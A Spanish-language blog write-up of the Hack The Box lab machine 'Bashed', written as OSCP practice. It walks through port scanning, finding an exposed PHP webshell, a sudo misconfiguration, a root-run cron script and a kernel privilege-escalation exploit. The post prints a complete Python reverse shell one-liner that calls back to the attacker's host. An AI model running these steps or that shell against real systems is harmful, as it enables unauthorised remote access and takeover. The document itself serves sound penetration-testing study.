Israel Aráoz Severiche
4 min readAug 26, 2020

HacktheBox — Writeup — Bashed No/MSF

Resumen

En esta ocasión es el turno de la maquina Bashed, en el proceso de enumeración, digamos que para mi fue intuitivo encontrar al directorio , lo encontré incluso antes que gobuster , el acceso inicial no fue dificil, para obtener una shell reversa interactiva si intente un par (bash,php,nc) y python al final funciono.

Sobre la escalada de privilegios, la primera escalada fue vertical (hacia otro usuario) y luego escalada de privilegios horizontal a través de un archivo que pertenecía al usuario scriptmanager

Identificación de puertos y servicios

Como siempre, es necesario identificar todos los puertos abiertos

nmap -v -n -p- --min-rate 3000 --open -oA bashed.ports 10.10.10.68PORT   STATE SERVICE
80/tcp open http

Ahora la versión

nmap -sCV -p80 -O -oA bashed.services 10.10.10.68PORT   STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.8 (95%), Linux 4.4 (95%), Linux 4.9 (95%), Linux 4.2 (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

Lo primero que aparece es un blog con información, haciendo referencia de que existe una webshell interactiva creada en php

Se descubrieron directorios

/uploads
/js
/php
/dev
/css

En el directorio /dev se encontró la webshell interactiva.

Para obtener una webshell interactiva se intento con php,bash,nc,perl y solo funciono con python3

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.33",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Escalada de privilegio I

Para escalar privilegios, siempre comienzo por sudo -l para determinar que puede ejecutar el usuario.

Con base en el resultado del comando sudo -l, se puede ejecutar cualquier archivo como el usuario scriptmanager sin necesidad de autenticación.

Ahora comenzamos a unir los puntos, ¿Cual es la necesidad de que se pueda ejecutar cualquier comando como el usuario scriptmanager?

Lo comprobamos

Contenido del script,

El archivo test.txt es creado por el archivo test.py que pertenece al usuario scriptmanager, en la imagen se puede observar la propiedad de creación del archivo test.txt pertenece al usuario root.

al parecer el archivo es ejecutado por el usuario root, ya que el archivo test.txt lo demuestra, Cambiamos por una shell reversa, esperamos que se ejecute, analizando las tareas programadas en el contexto del usuario scriptmanager no se identificó nada.

Cambiamos por una shellreversa y ponemos a la escucha un nc y listo!

Para comprobar la lista de tareas del root se puede observar la ejecución del interprete python dentro del directorio /scripts

Escalada de privilegio II

Se supone que aquí ya estamos con el usuario scriptmanager, se analizó la version del OS, existe una vulnerabilidad asociada al CVE-2017–16995

Se utilizó un exploit para escalada de privilegio local

Descargamos el exploit, compilamos y hacemos una transferencia desde la maquina bashed.

Se asigna permisos de ejecución al archivo descargado y se ejecuta

Conclusión

Enumera, procesos, usuarios,servicios, exploit kernel la enumeración es la clave para identificar el camino a seguir, normalmente no se encuentran este estilo de webshell interactivas en un entorno productivo, sirve para pensar fuera de la caja como preparatorio para el OSCP

Israel Aráoz Severiche
Israel Aráoz Severiche

Written by Israel Aráoz Severiche

{💀Cybersecurity Engineer​​🐞 } / { 🥋​ Purple Belt Brazilian Jiu Jitsu } / {🌐​https://twitter.com/iara0z}

No responses yet